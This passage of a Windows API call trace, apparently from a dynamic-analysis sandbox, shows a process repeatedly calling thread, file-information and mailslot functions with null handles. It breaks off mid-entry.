[0118.716] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.716] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.716] GetFileType (hFile=0x0) returned 0x0 [0118.716] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.716] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.716] GetFileType (hFile=0x0) returned 0x0 [0118.716] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.716] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.717] GetFileType (hFile=0x0) returned 0x0 [0118.717] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.717] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.717] GetFileType (hFile=0x0) returned 0x0 [0118.717] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.717] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.717] GetFileType (hFile=0x0) returned 0x0 [0118.717] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.717] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.717] GetFileType (hFile=0x0) returned 0x0 [0118.717] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.717] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.717] GetFileType (hFile=0x0) returned 0x0 [0118.717] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.717] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.717] GetFileType (hFile=0x0) returned 0x0 [0118.717] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.717] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.717] GetFileType (hFile=0x0) returned 0x0 [0118.717] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.717] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.717] GetFileType (hFile=0x0) returned 0x0 [0118.717] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.717] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.717] GetFileType (hFile=0x0) returned 0x0 [0118.717] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.717] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.717] GetFileType (hFile=0x0) returned 0x0 [0118.717] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.717] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.717] GetFileType (hFile=0x0) returned 0x0 [0118.717] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.717] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.717] GetFileType (hFile=0x0) returned 0x0 [0118.717] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.717] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.717] GetFileType (hFile=0x0) returned 0x0 [0118.717] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.717] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.717] GetFileType (hFile=0x0) returned 0x0 [0118.717] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.717] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.717] GetFileType (hFile=0x0) returned 0x0 [0118.717] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.717] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.717] GetFileType (hFile=0x0) returned 0x0 [0118.717] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.717] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.717] GetFileType (hFile=0x0) returned 0x0 [0118.717] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.717] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.717] GetFileType (hFile=0x0) returned 0x0 [0118.717] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.717] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.717] GetFileType (hFile=0x0) returned 0x0 [0118.717] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.717] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.718] GetFileType (hFile=0x0) returned 0x0 [0118.718] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.718] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.718] GetFileType (hFile=0x0) returned 0x0 [0118.718] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.718] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.718] GetFileType (hFile=0x0) returned 0x0 [0118.718] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.718] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.718] GetFileType (hFile=0x0) returned 0x0 [0118.718] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.718] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.718] GetFileType (hFile=0x0) returned 0x0 [0118.718] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.718] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.718] GetFileType (hFile=0x0) returned 0x0 [0118.718] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.718] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.718] GetFileType (hFile=0x0) returned 0x0 [0118.718] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.718] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.718] GetFileType (hFile=0x0) returned 0x0 [0118.718] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.718] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.718] GetFileType (hFile=0x0) returned 0x0 [0118.718] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.718] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.718] GetFileType (hFile=0x0) returned 0x0 [0118.718] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.718] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.718] GetFileType (hFile=0x0) returned 0x0 [0118.718] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.718] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.718] GetFileType (hFile=0x0) returned 0x0 [0118.718] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.718] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.718] GetFileType (hFile=0x0) returned 0x0 [0118.718] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.718] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.718] GetFileType (hFile=0x0) returned 0x0 [0118.718] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.718] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.718] GetFileType (hFile=0x0) returned 0x0 [0118.718] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.718] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.718] GetFileType (hFile=0x0) returned 0x0 [0118.718] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.718] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.718] GetFileType (hFile=0x0) returned 0x0 [0118.718] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.718] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.718] GetFileType (hFile=0x0) returned 0x0 [0118.718] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.718] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.719] GetFileType (hFile=0x0) returned 0x0 [0118.719] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.719] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.719] GetFileType (hFile=0x0) returned 0x0 [0118.719] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.719] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.719] GetFileType (hFile=0x0) returned 0x0 [0118.719] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.719] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.719] GetFileType (hFile=0x0) returned 0x0 [0118.719] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.719] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.719] GetFileType (hFile=0x0) returned 0x0 [0118.719] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.719] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.719] GetFileType (hFile=0x0) returned 0x0 [0118.719] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.719] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.719] GetFileType (hFile=0x0) returned 0x0 [0118.719] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.719] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.719] GetFileType (hFile=0x0) returned 0x0 [0118.719] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.719] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.719] GetFileType (hFile=0x0) returned 0x0 [0118.719] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.719] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.719] GetFileType (hFile=0x0) returned 0x0 [0118.719] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.719] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.719] GetFileType (hFile=0x0) returned 0x0 [0118.719] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.719] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.719] GetFileType (hFile=0x0) returned 0x0 [0118.719] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.719] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.719] GetFileType (hFile=0x0) returned 0x0 [0118.719] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.719] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.719] GetFileType (hFile=0x0) returned 0x0 [0118.719] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.719] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.719] GetFileType (hFile=0x0) returned 0x0 [0118.719] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.719] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.719] GetFileType (hFile=0x0) returned 0x0 [0119.319] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.319] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.320] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.320] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.320] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.320] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.320] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.320] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.320] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.320] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.320] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.320] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.320] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.320] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.320] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.320] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.320] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.320] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.320] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.320] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.320] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.320] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.320] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.320] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.320] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.320] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.320] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.320] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.320] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.320] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.320] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.320] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.320] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.320] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.320] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.320] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.320] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.320] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.320] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.320] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.320] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.320] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.320] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.320] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.320] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.320] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.320] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.320] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.320] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.320] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.320] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.320] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.321] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.321] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.321] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.321] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.321] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.321] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.321] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.321] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: 